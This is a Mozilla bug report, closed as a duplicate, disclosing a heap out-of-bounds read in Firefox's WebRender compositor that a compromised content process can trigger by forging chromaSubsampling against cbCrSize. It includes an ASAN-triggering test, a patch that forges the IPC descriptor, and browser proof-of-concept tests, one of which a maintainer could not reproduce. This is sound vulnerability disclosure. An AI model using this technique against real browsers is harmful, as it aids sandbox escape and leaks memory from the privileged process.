2019458 - RenderBufferTextureHost::Lock GetCroppedCbCrSize Heap OOB Read

Status: RESOLVED DUPLICATE of bug 2018126

(Core :: Graphics: WebRender, defect)

Description

[Sajeeb Lohani]

Compromised content process -> compositor (parent on Linux, GPU on other platforms) via PImageBridge YCbCr texture descriptors. No user interaction. All platforms.

This is a different root cause from Bug 2015268 (display rect vs ySize mismatch). Bug 2015268 exploits display.YMost() > ySize.height — the consumer reads Y-plane rows using mPictureRect height while validation uses ySize. This finding exploits an independent mismatch: cbCrSize vs chromaSubsampling. The validator uses cbCrSize to compute CbCr buffer requirements, but the consumer ignores cbCrSize entirely and recomputes CbCr dimensions from display.Size() + chromaSubsampling via GetCroppedCbCrSize. These are two separate, independently-settable IPDL fields (LayersSurfaces.ipdlh:164,173) with no cross-validation.

ComputeYCbCrBufferSize (TextureHost.cpp:280) validates shmem using the descriptor's cbCrSize field, but RenderBufferTextureHost::Lock (RenderBufferTextureHost.cpp:78) and RenderExternalTextureHost::CreateSurfaces (RenderExternalTextureHost.cpp:66) recompute CbCr plane dimensions from display + chromaSubsampling via GetCroppedCbCrSize (ImageDataSerializer.cpp:358). A compromised content process sets cbCrSize small (passes validation) while setting chromaSubsampling=FULL (recalculates to display size). On Linux, layers.gpu-process.enabled is false by default (StaticPrefList.yaml:9753, #elif defined(MOZ_X11) branch at line 9757 sets value: false), so the compositor runs in the parent process. On all platforms, layers.gpu-process.allow-fallback-to-parent is true by default (StaticPrefList.yaml:9748, unconditional value: true at line 9750), so a GPU process crash also falls back to the parent.

The Bug

Validation uses cbCrSize from the descriptor (TextureHost.cpp:280):

const YCbCrDescriptor& ycbcr = desc.get_YCbCrDescriptor();
reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
    ycbcr.ySize(), ycbcr.yStride(), ycbcr.cbCrSize(),
    //                               ^^^^^^^^^^^^^^^^ validates against this
    ycbcr.cbCrStride(), ycbcr.yOffset(), ycbcr.cbOffset(),
    ycbcr.crOffset());

But the consumer recomputes from display + chromaSubsampling (RenderBufferTextureHost.cpp:78):

const layers::YCbCrDescriptor& desc = mDescriptor.get_YCbCrDescriptor();
auto cbcrSize = layers::ImageDataSerializer::GetCroppedCbCrSize(desc);
//              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//              returns ChromaSize(display.Size(), chromaSubsampling)
//              NOT descriptor.cbCrSize()

mCrSurface = gfx::Factory::CreateWrappingDataSourceSurface(
    layers::ImageDataSerializer::GetCrChannel(GetBuffer(), desc),
    desc.cbCrStride(), cbcrSize, gfx::SurfaceFormat::A8);
//                     ^^^^^^^^ inflated size wraps OOB past shmem

The recompute function ignores cbCrSize entirely (ImageDataSerializer.cpp:358):

gfx::IntSize GetCroppedCbCrSize(const YCbCrDescriptor& aDescriptor) {
  return ChromaSize(aDescriptor.display().Size(),
  //                ^^^^^^^^^^^ from display, not cbCrSize
                    aDescriptor.chromaSubsampling());
  //                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ independent IPDL field
}

The IPDL struct has both fields with no cross-validation (LayersSurfaces.ipdlh:160):

struct YCbCrDescriptor {
  IntSize cbCrSize;                  // line 164 — used by validator
  ChromaSubsampling chromaSubsampling; // line 173 — used by consumer
};

The same pattern exists in RenderExternalTextureHost::CreateSurfaces (RenderExternalTextureHost.cpp:66).

Attack Vector

A compromised content process creates a YCbCr texture via BufferTextureData::CreateForYCbCr with cbCrSize={32,32} (buffer sized for 4:2:0 subsampling) but overrides chromaSubsampling to FULL in the IPDL descriptor. The compositor receives the texture, validates the shmem using cbCrSize (passes — buffer is large enough for 32x32 CbCr planes), then calls GetCroppedCbCrSize which returns {64,64} from the display size. CreateWrappingDataSourceSurface wraps the Cr plane at offset 6144 with 64 rows at stride 64, reading to offset 10240 — 2048 bytes past the 8192-byte validated buffer. On Linux (default config), this is a parent-process heap read. layers.gpu-process.allow-fallback-to-parent is true by default on all platforms, providing an additional path.

The OOB read is 2048 bytes of heap-adjacent memory in the parent process (on Linux). The compositor consumes the Cr/Cb plane data through ConvertYCbCrToRGB or WebRender texture upload. The read is past the end of the shmem region into whatever is mapped adjacent in the parent's address space. If unmapped, this crashes the parent (DoS from sandboxed content). If mapped, the parent reads adjacent allocation data into the composited output. The attacker controls the OOB extent by varying display dimensions and chromaSubsampling independently of cbCrSize, and can repeat the texture upload across frames.

ASAN Proof

==37854==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250004ff900
  at pc 0x0003017380d4 bp 0x00016f2f8470 sp 0x00016f2f8468
READ of size 1 at 0x6250004ff900 thread T0
    #0 in YCbCrChromaOOB_WrappingSurfaceOOBRead_ASAN_Test::TestBody()

0x6250004ff900 is located 0 bytes after 8192-byte region [0x6250004fd900,0x6250004ff900)
allocated by thread T0 here:
    #0 in malloc
    #1 in moz_xmalloc
    #2 in YCbCrChromaOOB_WrappingSurfaceOOBRead_ASAN_Test::TestBody()

SUMMARY: AddressSanitizer: heap-buffer-overflow in
  YCbCrChromaOOB_WrappingSurfaceOOBRead_ASAN_Test::TestBody()

PoC

gfx/tests/gtest/TestYCbCrChromaOOB.cpp:

#include "gtest/gtest.h"

#include "mozilla/gfx/2D.h"
#include "mozilla/layers/ImageDataSerializer.h"
#include "mozilla/layers/LayersSurfaces.h"

using namespace mozilla;
using namespace mozilla::gfx;
using namespace mozilla::layers;

TEST(YCbCrChromaOOB, ValidationAcceptsSmallCbCrSize) {
  const IntSize ySize(1024, 1024);
  const int32_t yStride = 1024;
  const IntSize cbCrSize(512, 512);
  const int32_t cbCrStride = 512;

  const uint32_t yPlane = 1024 * 1024;
  const uint32_t cbPlane = 512 * 512;
  const uint32_t yOffset = 0;
  const uint32_t cbOffset = yPlane;
  const uint32_t crOffset = yPlane + cbPlane;

  uint32_t reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);
  ASSERT_GT(reqSize, 0u);

  YCbCrDescriptor desc(IntRect(0, 0, 1024, 1024), ySize, yStride,
                       cbCrSize, cbCrStride, yOffset, cbOffset, crOffset,
                       StereoMode::MONO, ColorDepth::COLOR_8,
                       YUVColorSpace::BT601, ColorRange::LIMITED,
                       ChromaSubsampling::FULL);

  IntSize croppedSize = ImageDataSerializer::GetCroppedCbCrSize(desc);
  EXPECT_EQ(croppedSize, IntSize(1024, 1024));
  EXPECT_GT(cbCrStride * croppedSize.height, cbCrStride * cbCrSize.height);
}

// Exercises the exact RenderBufferTextureHost::Lock code path:
// CreateWrappingDataSourceSurface with GetCroppedCbCrSize dimensions
// over a buffer validated with cbCrSize dimensions.
TEST(YCbCrChromaOOB, WrappingSurfaceOOBRead_ASAN) {
  const IntSize ySize(64, 64);
  const int32_t yStride = 64;
  const IntSize cbCrSize(32, 32);
  const int32_t cbCrStride = 64;

  const uint32_t yOffset = 0;
  const uint32_t yPlane = yStride * ySize.height;
  const uint32_t cbCrPlane = cbCrStride * cbCrSize.height;
  const uint32_t cbOffset = yPlane;
  const uint32_t crOffset = yPlane + cbCrPlane;

  uint32_t reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);
  ASSERT_GT(reqSize, 0u);

  uint8_t* buffer = new uint8_t[reqSize];
  memset(buffer, 0xAA, reqSize);

  YCbCrDescriptor desc(IntRect(0, 0, 64, 64), ySize, yStride,
                       cbCrSize, cbCrStride, yOffset, cbOffset, crOffset,
                       StereoMode::MONO, ColorDepth::COLOR_8,
                       YUVColorSpace::BT601, ColorRange::LIMITED,
                       ChromaSubsampling::FULL);

  IntSize croppedCbCrSize = ImageDataSerializer::GetCroppedCbCrSize(desc);
  ASSERT_EQ(croppedCbCrSize, IntSize(64, 64));

  uint8_t* crChannel = ImageDataSerializer::GetCrChannel(buffer, desc);
  RefPtr<DataSourceSurface> crSurface =
      Factory::CreateWrappingDataSourceSurface(
          crChannel, cbCrStride, croppedCbCrSize, SurfaceFormat::A8);
  ASSERT_NE(crSurface, nullptr);

  DataSourceSurface::ScopedMap map(crSurface, DataSourceSurface::READ);
  ASSERT_TRUE(map.IsMapped());

  volatile uint8_t sink = 0;
  uint8_t* mapData = map.GetData();
  int32_t mapStride = map.GetStride();

  for (int row = 32; row < 64; row++) {
    for (int col = 0; col < 64; col++) {
      sink = mapData[row * mapStride + col];
    }
  }
  (void)sink;

  delete[] buffer;
}

Run: ./mach gtest "YCbCrChromaOOB.*"

Content-side IPC patch (pocs/ycbcr_chroma_oob.patch) and browser test (dom/ipc/tests/browser_poc_ycbcr_chroma_oob.js) attached.

Content-side IPC patch

diff --git a/gfx/layers/BufferTexture.cpp b/gfx/layers/BufferTexture.cpp
--- a/gfx/layers/BufferTexture.cpp
+++ b/gfx/layers/BufferTexture.cpp
@@ -1,5 +1,6 @@
 /* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
 /* vim: set ts=8 sts=2 et sw=2 tw=80: */
+#include "nsXULAppAPI.h"
 /* This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
@@ -172,6 +173,22 @@
   ImageDataSerializer::ComputeYCbCrOffsets(aYStride, aYSize.height, aCbCrStride,
                                            aCbCrSize.height, yOffset, cbOffset,
                                            crOffset);
+  // PoC: In the content process, forge a mismatch between cbCrSize and
+  // chromaSubsampling. The buffer is sized for aCbCrSize (small), but we
+  // tell the compositor chromaSubsampling=FULL, causing it to recompute
+  // CbCr dimensions as display.Size() (large) via GetCroppedCbCrSize().
+  //
+  // This causes RenderBufferTextureHost::Lock /
+  // RenderExternalTextureHost::CreateSurfaces to create wrapping surfaces
+  // larger than validated shmem -> OOB heap read in compositor/parent.
+  if (XRE_IsContentProcess() &&
+      aSubsampling == gfx::ChromaSubsampling::HALF_WIDTH_AND_HEIGHT &&
+      aCbCrSize.width < aYSize.width) {
+    // Override: buffer sized for HALF_WIDTH_AND_HEIGHT cbCrSize,
+    // but descriptor claims FULL -> compositor reads 4x the CbCr data.
+    aSubsampling = gfx::ChromaSubsampling::FULL;
+  }

   YCbCrDescriptor descriptor =
       YCbCrDescriptor(aDisplay, aYSize, aYStride, aCbCrSize, aCbCrStride,

Browser test

dom/ipc/tests/browser_poc_ycbcr_chroma_oob.js:

"use strict";

const TEST_PAGE = "data:text/html,<canvas id='c' width='64' height='64'></canvas>";

add_task(async function test_ycbcr_chroma_mismatch_oob() {
  const tab = await BrowserTestUtils.openNewForegroundTab(gBrowser, TEST_PAGE);
  const browser = tab.linkedBrowser;

  await SpecialPowers.spawn(browser, [], async function() {
    const canvas = content.document.getElementById("c");
    const ctx = canvas.getContext("2d");

    const video = content.document.createElement("video");
    video.muted = true;
    video.autoplay = true;
    video.width = 64;
    video.height = 64;
    content.document.body.appendChild(video);

    for (let i = 0; i < 5; i++) {
      ctx.drawImage(video, 0, 0, 64, 64);
      await new Promise(r => content.requestAnimationFrame(r));
    }
  });

  BrowserTestUtils.removeTab(tab);
});

Run with patched tree: ./mach mochitest --headless dom/ipc/tests/browser_poc_ycbcr_chroma_oob.js

Comment 1

[Andrew McCreight [:mccr8]]

This is kind of similar to bug 2018126, in that it seems to involve a cbCrSize vs chromaSubsampling mismatch, but I'm not familiar enough with this to tell if this is the same problem or merely a similar mistake in different code. The C++ modifications appear to be in different code at least.

Comment 2

[Andrew McCreight [:mccr8]]

chunmin, is this distinct from bug 2018126? Thanks.

Comment 3

[Timothy Nikkel (:tnikkel)]

I tried to reproduce this by applying the patch to gfx/layers/BufferTexture.cpp and then running the provided dom/ipc/tests/browser_poc_ycbcr_chroma_oob.js test in an ASAN build but I did not see any problems. I made sure to back out any of the fixes that happened in this area that have landed in the past few days in case one of those fixed it.

But looking at the BufferTexture.cpp patch it seems quite plausible that this is a real issue. If the underlying issue relies on ComputeYCbCrBufferSize not detecting a problem (which comment 0 seems to suggest) then I think that this will be fixed by bug 2018126, or if bug 2018126 doesn't fix it then bug 2018113 will because it makes ComputeYCbCrBufferSize reject in this specific case. If there is another path that doesn't go through ComputeYCbCrBufferSize then we'd need to fix that, but we'd need something more from the reporter showing that path or allowing us to reproduce.

Comment 4

[Sajeeb Lohani]

Thanks for looking into this, and apologies for the broken browser test. The test was creating a <video> element without setting a src, so no YCbCr textures were ever created and the patch in BufferTexture.cpp never triggered. A corrected version with an actual video source is below, but the GTest YCbCrChromaOOB.WrappingSurfaceOOBRead_ASAN is the definitive ASAN proof, as it directly exercises the GetCroppedCbCrSize -> CreateWrappingDataSourceSurface path from RenderBufferTextureHost::Lock (lines 78-90).

Re-confirmed ASAN output (just re-ran against current tree):

==13906==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250005a4900
  at pc 0x000301732600 bp 0x00016b7c43f0 sp 0x00016b7c43e8
READ of size 1 at 0x6250005a4900 thread T0
    #0 in YCbCrChromaOOB_WrappingSurfaceOOBRead_ASAN_Test::TestBody()
    #1 in testing::Test::Run()

0x6250005a4900 is located 0 bytes after 8192-byte region [0x6250005a2900,0x6250005a4900)
allocated by thread T0 here:
    #0 in malloc
    #1 in moz_xmalloc
    #2 in YCbCrChromaOOBWrappingSurfaceOOBRead_ASAN_Test::TestBody()

SUMMARY: AddressSanitizer: heap-buffer-overflow in
  YCbCrChromaOOB_WrappingSurfaceOOBRead_ASAN_Test::TestBody()

Note: the GTest now needs ColorDepth::COLOR_8 as the last parameter to ComputeYCbCrBufferSize (API change). Updated GTest below.

Re: whether Bug 2018126 or Bug 2018113 fix this, yes. I can see the cross-validation check that landed on mozilla-central in TextureHost.cpp:285-289:

auto croppedCbCr = ImageDataSerializer::GetCroppedCbCrSize(ycbcr);
if (croppedCbCr.width > ycbcr.cbCrSize().width ||
    croppedCbCr.height > ycbcr.cbCrSize().height) {
  NS_ERROR("YCbCr display rect exceeds CbCr plane dimensions!");
  return nullptr;
}

This rejects the descriptor before it reaches RenderBufferTextureHost::Lock, which is the right fix. The CheckYCbCrStride addition from Bug 2018113 alone wouldn't catch this specific case (stride=64 for cbCrSize.width=32 passes that check), but the croppedCbCr vs cbCrSize cross-validation above does.

---

Corrected browser test (dom/ipc/tests/browser_poc_ycbcr_chroma_oob.js):

"use strict";

const VIDEO_URL =
  "https://example.net/browser/dom/media/test/short.mp4";

add_task(async function test_ycbcr_chroma_mismatch_oob() {
  const tab = await BrowserTestUtils.openNewForegroundTab(
    gBrowser,
    "about:blank"
  );
  const browser = tab.linkedBrowser;

  await SpecialPowers.spawn(browser, [VIDEO_URL], async function(url) {
    const video = content.document.createElement("video");
    video.muted = true;
    video.autoplay = true;
    video.src = url;
    content.document.body.appendChild(video);

    await new Promise((resolve, reject) => {
      video.onplaying = resolve;
      video.onerror = () => reject(new Error("Video failed to play"));
    });

    for (let i = 0; i < 30; i++) {
      await new Promise(r => content.requestAnimationFrame(r));
    }

    const canvas = content.document.createElement("canvas");
    canvas.width = video.videoWidth || 64;
    canvas.height = video.videoHeight || 64;
    const ctx = canvas.getContext("2d");
    for (let i = 0; i < 10; i++) {
      ctx.drawImage(video, 0, 0);
      await new Promise(r => content.requestAnimationFrame(r));
    }
  });

  BrowserTestUtils.removeTab(tab);
  ok(true, "Test completed (ASAN should have fired in compositor)");
});

Comment 5

[Sajeeb Lohani]

Whoops, sorry, cleared the wrong needinfo too. I think this should probably be closed as a dup anyway

Comment 6

[Timothy Nikkel (:tnikkel)]

Okay, let's mark this as dupe of bug 2018126 then.